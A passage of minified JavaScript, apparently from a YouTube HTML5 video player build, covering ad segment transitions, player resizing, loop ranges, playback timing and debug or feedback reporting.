g.q.nB=function(){return this.Oe};
g.q.handleError=function(x,T){T=T===void 0?0:T;if(x!=="fmt.decode"&&x!=="fmt.unplayable"||!this.h$()||this.dg===this.Oe)return!1;this.dg=this.Oe;if(this.api.B("html5_enable_ssap_gapful_switch"))this.A2=!0,this.api.kc("ssap",{gpfonerr:x}),this.playback.jw();else{this.playback.kc("ssap",{skiperr:x,acpn:this.Oe});var t=this.playback.getVideoData().clientPlaybackNonce;this.finishSegmentByCpn(this.Oe,t,T===1||T===2?7:6,x)}return!0};
g.q.QQ=function(x){var T=x||this.Oe;if(x=this.Vw.get(T)||this.playback.getVideoData())T=this.playback.getCurrentTime()-vw(this,T)/1E3,x.AQ=T>0?T:0};
g.q.HFv=function(x){var T=this.Vw.get(this.Oe);T&&this.playback.er(x-T.VI/1E3,T.lengthSeconds,this.Oe)};
g.q.oU=function(){this.api.Y().AM()&&this.api.kc("ssap",{di:""+this.Oe,dic:""+this.playback.getVideoData().clientPlaybackNonce});this.Vw.clear();this.cD.clear();this.gT.clear();this.vI.clear();this.t_.clear();this.Tm.clear();this.R2=[];jqX(this);this.kB="";g.zx(this.events);g.W.prototype.oU.call(this)};g.P(Fz5,g.W);g.q=Fz5.prototype;g.q.onCueRangeEnter=function(x){if(this.C===this.app.VU()){var T=this.T.get(x);T?nS5(this,T.target,T.Ph,x):this.XD("dai.transitionfailure",{e:"unexpectedCueRangeTriggered",cr:x.toString()})}else if(T=this.Z.find(function(H){return H.Sc.QI===x})){var t=T.Sc,u=t.target;
t=t.Ph;u?nS5(this,u,t,x):Lzf(this,T.Pt,t,x)}};
g.q.onQueuedVideoLoaded=function(){var x=this.N;q1(this);if(x){if(!EJ(this,x)){var T=this.app.VU();this.XD("dai.transitionfailure",{e:"unexpectedPresentingPlayer",pcpn:T==null?void 0:T.getVideoData().clientPlaybackNonce,ccpn:""+x.playerVars.cpn})}this.app.VU().addCueRange(x.Sc.QI)}};
g.q.seekTo=function(x,T,t,u){x=x===void 0?0:x;T=T===void 0?{}:T;u=u===void 0?null:u;if(t===void 0?0:t)kFH(this,x,T);else{t=this.app.VU()||null;var H=t===this.K?this.D:null;ZU(this,!1);this.ZZ=x;this.S=T;u!=null&&this.J.start(u);t&&(this.D=H||t.getPlayerState(),t.nI(),this.K=t)}};
g.q.Ot=function(x){g.j1(x,128)&&DZV(this)};
g.q.isManifestless=function(){return ZF(this.C.getVideoData())};
g.q.oU=function(){ZU(this,!1);N1i(this);g.W.prototype.oU.call(this)};
g.q.XD=function(x,T){this.C.XD(new r4(x,T))};
var hE3=0;var JiX="MWEB TVHTML5 TVHTML5_AUDIO TVHTML5_CAST TVHTML5_KIDS TVHTML5_FOR_KIDS TVHTML5_SIMPLY TVHTML5_SIMPLY_EMBEDDED_PLAYER TVHTML5_UNPLUGGED TVHTML5_VR TV_UNPLUGGED_CAST WEB WEB_CREATOR WEB_EMBEDDED_PLAYER WEB_EXPERIMENTS WEB_GAMING WEB_HEROES WEB_KIDS WEB_LIVE_STREAMING WEB_MUSIC WEB_MUSIC_ANALYTICS WEB_REMIX WEB_UNPLUGGED WEB_UNPLUGGED_ONBOARDING WEB_UNPLUGGED_OPS WEB_UNPLUGGED_PUBLIC".split(" ");g.P(ls,g.W);g.q=ls.prototype;g.q.get=function(x){j2(this);var T=this.data.find(function(t){return t.key===x});
return T?T.value:null};
g.q.set=function(x,T,t){this.remove(x,!0);j2(this);x={key:x,value:T,expire:Infinity};t&&isFinite(t)&&(t*=1E3,x.expire=(0,g.bo)()+t);for(this.data.push(x);this.data.length>this.j;)(t=this.data.shift())&&mB(this,t,!0);e2(this)};
g.q.remove=function(x,T){T=T===void 0?!1:T;var t=this.data.find(function(u){return u.key===x});
t&&(mB(this,t,T),g.xu(this.data,function(u){return u.key===x}),e2(this))};
g.q.removeAll=function(x){if(x=x===void 0?!1:x)for(var T=g.S(this.data),t=T.next();!t.done;t=T.next())mB(this,t.value,x);this.data=[];e2(this)};
g.q.oU=function(){var x=this;g.W.prototype.oU.call(this);this.data.forEach(function(T){mB(x,T,!0)});
this.data=[]};g.P(dP,g.W);dP.prototype.iJ=function(x){if(x)return this.Z.get(x)};
dP.prototype.oU=function(){this.C.removeAll();this.Z.removeAll();g.W.prototype.oU.call(this)};g.PXh=ZH(function(){var x=window.AudioContext||window.webkitAudioContext;try{return new x}catch(T){return T.name}});g.P(w2q,g.Q);g.q=w2q.prototype;g.q.N4=function(){g.$P(this.element,g.FD.apply(0,arguments))};
g.q.Jm=function(){this.zs&&(this.zs.removeEventListener("focus",this.n0),g.sm(this.zs),this.zs=null)};
g.q.lK=function(){this.T9();var x=this.app.Y();x.Qw||this.N4("tag-pool-enabled");x.D&&this.N4(g.CT.HOUSE_BRAND);x.playerStyle==="gvn"&&(this.N4("ytp-gvn"),this.element.style.backgroundColor="transparent");x.L2&&(this.Sz=g.uH("yt-dom-content-change",this.resize,this));this.V(window,"orientationchange",this.resize,this);this.V(window,"resize",this.resize,this)};
g.q.Pe=function(x){g.VZ(this.app.Y());this.cj=!x;M1(this)};
g.q.resize=function(){if(this.zs){var x=this.xL();if(!x.isEmpty()){var T=!g.mK(x,this.UN.getSize()),t=of3(this);T&&(this.UN.width=x.width,this.UN.height=x.height);x=this.app.Y();(t||T||x.L2)&&this.app.qj.publish("resize",this.getPlayerSize())}}};
g.q.NC=function(x,T){this.updateVideoData(T)};
g.q.updateVideoData=function(x){if(this.zs){var T=this.app.Y();CM&&(this.zs.setAttribute("x-webkit-airplay","allow"),x.title?this.zs.setAttribute("title",x.title):this.zs.removeAttribute("title"));this.zs.setAttribute("controlslist","nodownload");T.aq&&x.videoId&&(this.zs.poster=x.ys("default.jpg"))}T=g.SV(x,"yt:bgcolor");this.oI.style.backgroundColor=T?T:"";this.pj=$i(g.SV(x,"yt:stretch"));this.aN=$i(g.SV(x,"yt:crop"),!0);g.Ic(this.element,"ytp-dni",x.E0);this.resize()};
g.q.setGlobalCrop=function(x){this.B8=$i(x,!0);this.resize()};
g.q.setCenterCrop=function(x){this.Q8=x;this.resize()};
g.q.bM=function(){};
g.q.getPlayerSize=function(){var x=this.app.Y(),T=this.app.qj.isFullscreen(),t=x.externalFullscreen&&g.zw(x);if(T&&yX()&&!t)return new g.lu(window.outerWidth,window.outerHeight);t=!isNaN(this.Rk.width)&&!isNaN(this.Rk.height);var u=this.app.Y().B("kevlar_player_enable_squeezeback_fullscreen_sizing");if(T&&!t&&u)return new g.lu(this.element.clientWidth,this.element.clientHeight);if(T||x.ea){if(window.matchMedia){x="(width: "+window.innerWidth+"px) and (height: "+window.innerHeight+"px)";this.W5&&this.W5.media===
x||(this.W5=window.matchMedia(x));var H=this.W5&&this.W5.matches}if(H)return new g.lu(window.innerWidth,window.innerHeight)}else if(t)return this.Rk.clone();return new g.lu(this.element.clientWidth,this.element.clientHeight)};
g.q.xL=function(){var x=this.app.Y().B("enable_desktop_player_underlay"),T=this.getPlayerSize(),t=g.Z9(this.app.Y().experiments,"player_underlay_min_player_width");return x&&this.fE&&T.width>t?(x=g.Z9(this.app.Y().experiments,"player_underlay_video_width_fraction"),new g.lu(Math.min(T.height*this.getVideoAspectRatio(),T.width*x),Math.min(T.height,T.width*x/this.getVideoAspectRatio()))):T};
g.q.getVideoAspectRatio=function(){return isNaN(this.pj)?X25(this):this.pj};
g.q.getVideoContentRect=function(x){var T=this.xL();x=xhi(this,T,this.getVideoAspectRatio(),x);return new g.Hf((T.width-x.width)/2,(T.height-x.height)/2,x.width,x.height)};
g.q.Qp=function(x){this.fE=x;this.resize()};
g.q.PJ=function(){return this.qk};
g.q.onMutedAutoplayChange=function(){M1(this)};
g.q.setInternalSize=function(x){g.mK(this.Rk,x)||(this.Rk=x,this.resize())};
g.q.oU=function(){this.Sz&&g.$b(this.Sz);this.Jm();g.Q.prototype.oU.call(this)};g.q=t_D.prototype;g.q.click=function(x,T){this.elements.has(x);this.C.has(x);var t=g.Yx();t&&x.visualElement&&g.t3(t,x.visualElement,T)};
g.q.createClientVe=function(x,T,t,u){var H=this;u=u===void 0?!1:u;this.elements.has(x);this.elements.add(x);t=SYH(t);x.visualElement=t;var I=g.Yx(),E=g.cW();I&&E&&(g.R6("combine_ve_grafts")?kI(rI(),t,E):g.Kr(g.CP)(void 0,I,E,t));T.addOnDisposeCallback(function(){H.elements.has(x)&&H.destroyVe(x)});
u&&this.Z.add(x)};
g.q.createServerVe=function(x,T,t){var u=this;t=t===void 0?!1:t;this.elements.has(x);this.elements.add(x);T.addOnDisposeCallback(function(){u.destroyVe(x)});
t&&this.Z.add(x)};
g.q.destroyVe=function(x){this.elements.has(x);this.elements.delete(x);this.j.delete(x);this.C.delete(x);this.Z.delete(x)};
g.q.wr=function(x,T){this.clientPlaybackNonce!==T&&(this.clientPlaybackNonce=T,z4(rI(),x),sB3(this))};
g.q.setTrackingParams=function(x,T){this.elements.has(x);T&&(x.visualElement=g.PW(T))};
g.q.ou=function(x,T,t){this.elements.has(x);T?this.C.add(x):this.C.delete(x);var u=g.Yx(),H=x.visualElement;this.Z.has(x)?u&&H&&(T?g.TQ(u,[H]):g.o4(u,[H])):T&&!this.j.has(x)&&(u&&H&&g.xB(u,H,void 0,t),this.j.add(x))};
g.q.hasVe=function(x){return this.elements.has(x)};g.P(g.Rb,g.W);g.Rb.create=function(x,T,t,u){try{var H=typeof x==="string"?x:"player"+g.f4(x),I=bT[H];if(I){try{I.dispose()}catch(Z){g.vW(Z)}bT[H]=null}var E=new g.Rb(x,T,t,u);E.addOnDisposeCallback(function(){bT[H]=null;E.UP&&E.UP()});
return bT[H]=E}catch(Z){throw g.vW(Z),(Z&&Z instanceof Error?Z:Error(String(Z))).stack;}};
g.q=g.Rb.prototype;g.q.BE=function(){return this.visibility};
g.q.xs=function(x){var T=this.j8();if(x!==T){x.getVideoData().autonavState=T.getVideoData().autonavState;T.Pr(this.IL,this);var t=T.getPlaybackRate();f8(T);this.UY.xs(x);x.setPlaybackRate(t);x.gR(this.IL,this);qjD(this)}};
g.q.qm=function(){this.dB||(this.dB=g.s6(a9(),ZGX()));return this.dB};
g.q.Jm=function(x){if(this.mediaElement){this.dA&&(this.events.f2(this.dA),this.dA=null);g.zx(this.AK);var T=this.VU();T&&T.Jm(!0,!1,x);this.template.Jm();try{this.B("html5_use_async_stopVideo")?this.mediaElement.dispose():this.mediaElement.vC()}catch(t){g.Vh(t)}this.mediaElement=null}};
g.q.Us=function(x,T){if(x!==this.VU()){this.logger.debug(function(){return"start set presenting player, type "+x.getPlayerType()+", vid "+x.getVideoData().videoId});
var t=null,u=this.VU();u&&(t=u.getPlayerState(),this.logger.debug("set presenting player, destroy modules"),aJ(this.Fa,3),DU(this,"cuerangesremoved",u.B_()),this.bb&&!x.isGapless()&&u.isGapless()&&this.mediaElement&&this.mediaElement.stopVideo(),u=x.WE()&&u.WE(),this.MJ.Tq("iv_s"),PpC(this,u));x.getPlayerType()===1&&this.xs(x);RA3(this,x);this.UY.Us(x);this.mediaElement&&x.setMediaElement(this.mediaElement);x.gR(this.y$,this);x.OB()?wSm(this,"setPresenting",!1):(this.NC("newdata",x,x.getVideoData()),
t&&!g.qW(t,x.getPlayerState())&&this.aO(new g.qa(x.getPlayerState(),t)),T=T&&this.B("html5_player_preload_ad_fix")&&x.getPlayerType()===1,x.mA()&&!T&&this.NC("dataloaded",x,x.getVideoData()),(T=(T=x.getVideoData().Z)&&T.video)&&this.qj.gN("onPlaybackQualityChange",T.quality),DU(this,"cuerangesadded",x.B_()),T=x.getPlayerState(),g.p(T,2)?AIv(this):g.p(T,8)?x.playVideo():x.nm()&&x.pauseVideo(),T=this.j8(),x.getPlayerType()===2&&(x.getVideoData().vO=T.getVideoData().clientPlaybackNonce),x.getPlayerType()!==
2||this.CC()||(t=x.getVideoData(),T.Es(t.clientPlaybackNonce,t.Zk||"",t.breakType||0,t.tI,t.videoId||"")),this.logger.debug("finish set presenting player"))}};
g.q.sR=function(){if(this.j8()!==this.VU()){var x=this.VU();this.logger.debug(function(){return"release presenting player, type "+(x==null?void 0:x.getPlayerType())+", vid "+(x==null?void 0:x.getVideoData().videoId)});
this.Us(this.j8())}};
g.q.pz=function(x){if(x)if(x===1)x=this.j8();else if(this.getVideoData().enableServerStitchedDai&&x===2)x=this.getVideoData().enablePreroll?this.UY.pz(2)||this.VU():this.VU();else if(g.pB(this.getVideoData())&&x===2){if(x=this.B("html5_ssap_return_content_player_during_preroll"))if(x=this.zI)x=this.zI,x=x.Oe===""?!0:x.h$();x=x?this.VU():this.UY.pz(2)||this.VU()}else x=this.UY.pz(x)||null;else x=this.VU();return x};
g.q.j8=function(){return this.UY.j8()};
g.q.VU=function(){return this.UY.VU()};
g.q.XJ=oV(44);g.q.p9G=function(){bs(this)||(this.logger.debug("application playback ready"),this.yp(5))};
g.q.b2Q=function(x){if(!bs(this)){this.logger.debug("playback ready");QB5(this);var T=x.getPlayerState();x.nm()?this.pauseVideo():T.isOrWillBePlaying()&&this.playVideo()}};
g.q.canPlayType=function(x){return hE(x)};
g.q.Y=function(){return this.Cf};
g.q.getVideoData=function(){return this.VU().getVideoData()};
g.q.d6=oV(18);g.q.Wk=function(){return this.j8().getVideoData()};
g.q.getVideoLoadedFraction=function(x){return(x=this.pz(x))?x.getVideoLoadedFraction():this.UY.C.getVideoLoadedFraction()};
g.q.bG=function(){return this.template};
g.q.xm=function(){return this.Fa};
g.q.Vs=function(){return this.MJ};
g.q.qF=function(x){var T=this.pz(1);T&&T.W1(x)};
g.q.HZ=function(){var x=this.Fa.HZ();this.qj.publish("videoStatsPingCreated",x);return x};
g.q.getVolume=function(){return Math.round(this.qj.getVolume())};
g.q.isMuted=function(){return this.qj.isMuted()};
g.q.Qr=function(){if(this.j8()===this.VU()&&this.TI)return this.TI.postId};
g.q.CqW=function(){var x=this;this.B("use_rta_for_player")||(g.bS(this.Cf)?g.sP(this.Cf,g.Cm(this.getVideoData())).then(function(T){gh(a9(),T);Y8q(x.getVideoData(),x.Cf,x.qm())}):Y8q(this.getVideoData(),this.Cf,this.qm()))};
g.q.Ck=function(x){this.qj.publish("poTokenVideoBindingChange",x)};
g.q.Wy=function(x){this.qj.publish("d6de4videobindingchange",x)};
g.q.QZ=function(){this.HK&&this.HK.QZ()};
g.q.yk=function(x){this.HK=x};
g.q.wW=function(x){if(x===1){this.MJ.tick("vr");var T=this.VU();T.j6();soi(this.MJ,T.getVideoData(),Cpv(this));JN3(this.Fa)}T=this.Cf;(T8(T)&&T.N||g.L1(T))&&(this.CC()||this.qj.gN("onAdStateChange",x))};
g.q.setLoopVideo=function(x){var T=this.VU();T===this.j8()&&T.RX()!==x&&(T.setLoop(x),this.qj.XW("onLoopChange",x))};
g.q.getLoopVideo=function(){return this.VU().RX()};
g.q.setLoopRange=function(x){var T=!1;!!this.TI!==!!x?T=!0:this.TI&&x&&(T=this.TI.startTimeMs!==x.startTimeMs||this.TI.endTimeMs!==x.endTimeMs||this.TI.postId!==x.postId||this.TI.type!==x.type);if(T){(T=this.VU())&&tB(T.getVideoData())&&T.kc("slr",{et:(x==null?void 0:x.endTimeMs)||-1});T=this.j8();T.Xa("applooprange");if(x){var t=new g.te(x.startTimeMs,x.endTimeMs,{id:"looprange",namespace:"applooprange"});T.addCueRange(t)}else{this.Wk().clipConfig=void 0;var u;((t=this.TI)==null?void 0:t.type)!==
"repeatChapter"||isNaN(Number((u=this.TI)==null?void 0:u.loopCount))||(t={loopCount:String(this.TI.loopCount),cpn:this.getVideoData().clientPlaybackNonce},g.io("repeatChapterLoopEvent",t))}this.TI=x;this.qj.XW("onLoopRangeChange",x||void 0);this.j8()===this.VU()&&(this.oK(),T.Em.sL())}};
g.q.getLoopRange=function(){return this.TI};
g.q.oK=function(){var x="",T=this.j8();this.TI?T!==this.VU()?x="pnea":kR3(this,T.getCurrentTime())&&(this.TI.loopCount=0,x="ilr"):x="nlr";var t=this.VU();if(t&&tB(t.getVideoData()))if(this.B("html5_gapless_log_loop_range_info")){var u,H;t.kc("slrre",{rej:x,ct:T.getCurrentTime(),lst:(u=this.TI)==null?void 0:u.startTimeMs,let:(H=this.TI)==null?void 0:H.endTimeMs})}else t.kc("slrre",{});x||V_q(this)};
g.q.setPlaybackRate=function(x,T){if(!isNaN(x)){x=lb3(this,x);var t=this.j8();t.getPlaybackRate()!==x&&(t.setPlaybackRate(x),T&&!this.Cf.K&&g.vc("yt-player-playback-rate",x),this.qj.gN("onPlaybackRateChange",x))}};
g.q.getCurrentTime=function(x,T,t){T=T===void 0?!0:T;if(this.getPresentingPlayerType()===3)return zt(this.Fa).getCurrentTime();var u=x===2&&this.getVideoData().enableServerStitchedDai,H=g.pB(this.getVideoData());x=u||H?this.VU():this.pz(x);if(!x)return this.UY.C.getCurrentTime();if(H&&this.zI)return T=this.zI,x=x.getCurrentTime(),t?t=Hm(T,t):(t=YGq(T,x),t=x-t/1E3),t;if(T){if(u&&this.vt&&(t=this.vt.Hv/1E3,t!==0))return t;t=UJ(this,x);return GD(this,t.getCurrentTime(),t)}u&&this.vt?(t=this.vt,x=x.getCurrentTime(),
t=(t=OvJ(t,x*1E3))?x-t.start/1E3:x):t=x.getCurrentTime();return t};
g.q.Mp=function(){var x=this.pz();if(!x)return this.UY.C.Mp();x=UJ(this,x);return GD(this,x.Mp(),x)};
g.q.getDuration=function(x,T){T=T===void 0?!0:T;var t=this.getVideoData(),u=x===2&&t.enableServerStitchedDai,H=g.pB(t);var I=u||H?this.VU():this.pz(x);if(!I)return this.UY.C.getDuration();if(t.hasProgressBarBoundaries()&&!u&&!H){var E,Z=Number((E=t.progressBarStartPosition)==null?void 0:E.utcTimeMillis),e;t=Number((e=t.progressBarEndPosition)==null?void 0:e.utcTimeMillis);if(!isNaN(Z)&&!isNaN(t))return(t-Z)/1E3}if(H&&this.zI)return T=UZV(this.zI,this.zI.nB()),x===1&&T===0?I.getDuration():T;if(T)return I=
YR(this,I),GD(this,I.getDuration(),I);u&&this.vt?(x=this.vt,I=I.getCurrentTime(),I=(I=fT4(x,I*1E3))?I.durationMs/1E3:0):I=I.getDuration();return I};
g.q.p4=function(x){var T=this.pz(x);return T?this.CC(T)?(T=YR(this,T),T.p4()-T.getCurrentTime()+this.getCurrentTime(x)):T.p4():this.UY.C.p4()};
g.q.US=function(){return this.uR};
g.q.addPlayerResponseForAssociation=function(x){this.zI&&this.zI.addPlayerResponseForAssociation(x)};
g.q.finishSegmentByCpn=function(x,T,t){return this.zI?this.zI.finishSegmentByCpn(x,T,t):[]};
g.q.lK=function(){this.template.lK();var x=this.qj;x.state.element=this.template.element;var T=x.state.element,t;for(t in x.state.C)x.state.C.hasOwnProperty(t)&&(T[t]=x.state.C[t]);(x=gwm(this.template.element))&&this.events.V(this.template,x,this.onFullscreenChange);this.events.V(window,"resize",this.MDU)};
g.q.getDebugText=function(x){var T=this.j8().K2(x),t=this.VU(),u=this.j8();if(t&&t!==u){t=t.K2(x);u=g.S(Object.keys(t));for(var H=u.next();!H.done;H=u.next())H=H.value,T["ad"+H]=t[H];if(x){t=T;u={};if(H=WR(document,"movie_player"))u.bounds=H.getBoundingClientRect(),u["class"]=H.className;H={};var I=g.Q9("video-ads");I?(xo3(I,H),H.html=I.outerHTML):H.missing=1;I={};var E=g.Q9("videoAdUiSkipContainer"),Z=g.Q9("ytp-ad-skip-button-container"),e=g.Q9("ytp-skip-ad-button"),l=E||Z||e;l?(xo3(l,I),I.ima=E?
1:0,I.bulleit=Z?1:0,I.component=e?1:0):I.missing=1;u=JSON.stringify({player:u,videoAds:H,skipButton:I});t.ad_skipBtnDbgInfo=u}}x&&this.mediaElement&&(T["0sz"]=""+(+dg(this.mediaElement.getSize())===0),T.op=this.mediaElement.j2("opacity"),t=this.mediaElement.zp().y+this.mediaElement.getSize().height,T.yof=""+(+t<=0),T.dis=this.mediaElement.j2("display"));x&&((x=(0,g.Vn)())&&(T.gpu=x),(x=this.Cf.playerStyle)&&(T.ps=x),this.Cf.G9&&(T.webview=1));T.debug_playbackQuality=this.qj.getPlaybackQuality(1);
T.debug_date=(new Date).toString();T.origin=window.origin;T.timestamp=Date.now();delete T.uga;delete T.q;return JSON.stringify(T,null,2)};
g.q.getFeedbackProductData=function(){var x={player_debug_info:this.getDebugText(!0),player_experiment_ids:this.Y().experiments.experimentIds.join(", "),player_release:"youtube.player.web_20250224_01_RC00"},T=this.getPlayerStateObject().Eo;T&&(x.player_error_code=T.errorCode,x.player_error_details=JSON.stringify(T.errorDetail));return x};
g.q.getPresentingPlayerType=function(x){if(this.appState===1)return 1;if(bs(this))return 3;var T;if(x&&((T=this.vt)==null?0:T.h$(this.getCurrentTime())))return 2;var t;return g.pB(this.getVideoData())&&((t=this.zI)==null?0:t.h$())?2:this.VU().getPlayerType()};
g.q.Lc=function(){return g.pB(this.getVideoData())&&this.zI?this.zI.Lc():!1};
g.q.getPlayerStateObject=function(x){return this.getPresentingPlayerType()===3?zt(this.Fa).Zx:this.pz(x).getPlayerState()};
g.q.getAppState=function(){return this.appState};
g.q.UW=function(x){switch(x.type){case "loadedmetadata":this.Z2.start();x=g.S(this.r5);for(var T=x.next();!T.done;T=x.next())T=T.value,NAq(this,T.id,T.kcW,T.ELW,void 0,!1);this.r5=[];break;case "loadstart":this.MJ.Tq("gv");break;case "progress":case "timeupdate":ZD(x.target.kp())>=2&&this.MJ.Tq("l2s");break;case "playing":g.XB&&this.Z2.start();if(g.bS(this.Cf))x=!1;else{var t=this.VU();T=g.hW(this.xm());x=this.mediaElement.j2("display")==="none"||dg(this.mediaElement.getSize())===0;var u=Ao(this.template),
H=t.getVideoData();t=g.L2(this.Cf);H=sD(H);T=!u||T||t||H||this.Cf.Cz;x=x&&!T}x&&(x=this.VU(),x.Gn(),this.getVideoData().L2||(this.getVideoData().L2=1,this.yg(),x.playVideo()))}};
g.q.onLoadProgress=function(x,T){this.qj.jD("onLoadProgress",T)};
g.q.b4f=function(){this.qj.publish("playbackstalledatstart")};
g.q.S_=function(x,T){this.qj.publish("sabrCaptionsDataLoaded",x,T)};
g.q.Gyf=function(x){var T;(T=this.VU())==null||T.Hy(x)};
g.q.Nb9=function(x){var T;(T=this.VU())==null||T.Up(x)};
g.q.onVideoProgress=function(x,T){x=UJ(this,x.H$);T=GD(this,x.getCurrentTime(),x);this.qj.gN("onVideoProgress",T);this.Cf.lM&&BAm(this,this.visibility.cE())&&this.pauseVideo()};
g.q.onAutoplayBlocked=function(){this.qj.gN("onAutoplayBlocked");var x,T=(x=this.VU())==null?void 0:x.getVideoData();T&&(T.DM=!0);this.B("embeds_enable_autoplay_and_visibility_signals")&&g.zw(this.Cf)&&(x={autoplayBrowserPolicy:Qu(),autoplayIntended:pT(this.getVideoData()),autoplayStatus:"AUTOPLAY_STATUS_BLOCKED",cpn:this.getVideoData().clientPlaybackNonce,intentionalPlayback:this.intentionalPlayback},g.io("embedsAutoplayStatusChanged",x))};
g.q.LaG=function(){this.qj.publish("progresssync")};
g.q.i2W=function(){this.qj.jD("onPlaybackPauseAtStart")};
g.q.apG=function(x){if(this.getPresentingPlayerType()===1){g.j1(x,1)&&!g.p(x.state,64)&&this.Wk().isLivePlayback&&this.j8().isAtLiveHead()&&this.qj.getPlaybackRate()>1&&this.setPlaybackRate(1,!0);if(g.j1(x,2)){if(this.TI&&this.TI.endTimeMs>=(this.getDuration()-1)*1E3){V_q(this);return}AIv(this)}if(g.p(x.state,128)){var T=x.state;this.cancelPlayback(5);T=T.Eo;JSON.stringify({errorData:T,debugInfo:this.getDebugText(!0)});this.qj.gN("onError",nsi(T.errorCode));this.qj.jD("onDetailedError",{errorCode:T.errorCode,
errorDetail:T.errorDetail,message:T.errorMessage,messageKey:T.fh,cpn:T.cpn});(0,g.bo)()-this.Cf.F3>6048E5&&this.qj.jD("onReloadRequired")}T={};if(x.state.isPlaying()&&!x.state.isBuffering()&&!WM("pbresume","ad_to_video")&&WM("_start","ad_to_video")){var t=this.getVideoData();T.clientPlaybackNonce=t.clientPlaybackNonce;t.videoId&&(T.videoId=t.videoId);g.gO(T,"ad_to_video");a3("pbresume",void 0,"ad_to_video");JN3(this.Fa)}this.qj.publish("applicationplayerstatechange",x)}};
g.q.aO=function(x){this.getPresentingPlayerType()!==3&&this.qj.publish("presentingplayerstatechange",x)};
g.q.Ot=function(x){cm(this,je(x.state));g.p(x.state,1024)&&this.qj.isMutedByMutedAutoplay()&&(vm(this,{muted:!1,volume:this.W_.volume},!1),VN(this,!1))};
g.q.P2=function(x,T,t){x==="newdata"&&qjD(this);this.qj.publish("applicationvideodatachange",x,t)};
g.q.aj=function(x,T){this.qj.jD("onPlaybackAudioChange",this.qj.getAudioTrack().S8.name);this.qj.publish("internalaudioformatchange",this.qj.getAudioTrack().S8.id,T)};
g.q.EN=function(x){var T=this.VU().getVideoData();x===T&&this.qj.gN("onPlaybackQualityChange",x.Z.video.quality)};
g.q.SJ=function(){var x=this.UY.pz(2);if(x){var T=x.getVideoData();x=x.JC();var t;(t=this.VU())==null||t.kc("ssdai",{cleanaply:1,acpn:T==null?void 0:T.clientPlaybackNonce,avid:T.videoId,ccpn:x,sccpn:this.Wk().clientPlaybackNonce===x?1:0,isDai:this.Wk().enableServerStitchedDai?1:0});delete this.UY.j[2]}};
g.q.onVideoDataChange=function(x,T,t){this.NC(x,T.H$,t)};
g.q.NC=function(x,T,t){this.logger.debug(function(){return"on video data change "+x+", player type "+T.getPlayerType()+", vid "+t.videoId});
this.Cf.AM()&&T.kc("vdc",{type:x,vid:t.videoId||"",cpn:t.clientPlaybackNonce||""});T===this.j8()&&(this.Cf.FR=t.oauthToken);if(T===this.j8()){this.getVideoData().enableServerStitchedDai&&!this.vt?(this.j8().kc("sdai",{initSstm:1}),this.vt=this.B("html5_enable_ssdai_transition_with_only_enter_cuerange")?new qGm(this.qj,this.Cf,this.j8(),this):new g.f_(this.qj,this.Cf,this.j8(),this)):!this.getVideoData().enableServerStitchedDai&&this.vt&&(this.vt.dispose(),this.vt=null);var u,H;!g.pB(this.getVideoData())||
x!=="newdata"&&x!=="dataloaded"||this.getVideoData().clientPlaybackNonce===((u=this.uR.C)==null?void 0:(H=u.getVideoData())==null?void 0:H.clientPlaybackNonce)?!g.pB(this.getVideoData())&&this.zI&&(this.zI.dispose(),this.zI=null):(aTq(this.uR),this.B("html5_ssap_cleanup_ad_player_on_new_data")&&this.SJ(),u=p_(this.uR,1,0,this.getDuration(1)*1E3,this.getVideoData()),this.uR.enqueue(u,!0),QM(this.uR,0,this.getDuration(1)*1E3,[u]),g2J(this.uR,this.getVideoData().clientPlaybackNonce,[u]),this.zI&&(this.zI.dispose(),
this.zI=null),this.zI=new la3(this.qj,this.uR,this.j8()),this.UY.j8().iL(this.zI))}if(x==="newdata")this.logger.debug("new video data, destroy modules"),aJ(this.Fa,2),this.qj.publish("videoplayerreset",T);else{if(!this.mediaElement)return;x==="dataloaded"&&(this.j8()===this.VU()?(W_(t.Pv,t.fp),UhJ(this)):cIJ(this));T.getPlayerType()===1&&(this.Cf.nf&&XSD(this),this.getVideoData().isLivePlayback&&!this.Cf.mN&&this.uf("html5.unsupportedlive",2,"DEVICE_FALLBACK"),t.isLoaded()&&((pbv(t)||this.getVideoData().o5)&&
this.qj.publish("legacyadtrackingpingchange",this.getVideoData()),t.hasProgressBarBoundaries()&&L2v(this)));this.qj.publish("videodatachange",x,t,T.getPlayerType())}this.qj.gN("onVideoDataChange",{type:x,playertype:T.getPlayerType()});this.oK();(u=t.k_)?this.DU.wr(u,t.clientPlaybackNonce):sB3(this.DU)};
g.q.tF=function(){zD(this,null);this.qj.jD("onPlaylistUpdate")};
g.q.zLv=function(x){delete this.wT[x.getId()];this.j8().removeCueRange(x);a:{x=this.getVideoData();var T,t,u,H,I,E,Z,e,l,m,d=((T=x.nf)==null?void 0:(t=T.contents)==null?void 0:(u=t.singleColumnWatchNextResults)==null?void 0:(H=u.autoplay)==null?void 0:(I=H.autoplay)==null?void 0:I.sets)||((E=x.nf)==null?void 0:(Z=E.contents)==null?void 0:(e=Z.twoColumnWatchNextResults)==null?void 0:(l=e.autoplay)==null?void 0:(m=l.autoplay)==null?void 0:m.sets);if(d)for(T=g.S(d),t=T.next();!t.done;t=T.next())if(t=
t.value,H=u=void 0,t=t.autoplayVideo||((u=t.autoplayVideoRenderer)==null?void 0:(H=u.autoplayEndpointRenderer)==null?void 0:H.endpoint),u=g.N(t,g.KB),I=H=void 0,t!=null&&((H=u)==null?void 0:H.videoId)===x.videoId&&((I=u)==null?0:I.continuePlayback)){x=t;break a}x=null}(T=g.N(x,g.KB))&&this.qj.XW("onPlayVideo",{sessionData:{autonav:"1",itct:x==null?void 0:x.clickTrackingParams},videoId:T.videoId,watchEndpoint:T})};
g.q.yp=function(x){var T=this;x!==this.appState&&(this.logger.debug(function(){return"app state change "+T.appState+" -> "+x}),x===2&&this.getPresentingPlayerType()===1&&(cm(this,-1),cm(this,5)),this.appState=x,this.qj.publish("appstatechange",x))};
g.q.uf=function(x,T,t,u,H){this.j8().V9(x,T,t,u,H)};
g.q.H7=function(x,T){this.j8().handleError(new r4(x,T))};
g.q.isAtLiveHead=function(x,T){T=T===void 0?!1:T;var t=this.pz(x);if(!t)return this.UY.C.isAtLiveHead();x=YR(this,t);t=UJ(this,t);return x!==t?x.isAtLiveHead(GD(this,t.getCurrentTime(),t),!0):x.isAtLiveHead(void 0,T)};
g.q.Bm=function(){var x=this.pz();return x?YR(this,x).Bm():this.UY.C.Bm()};
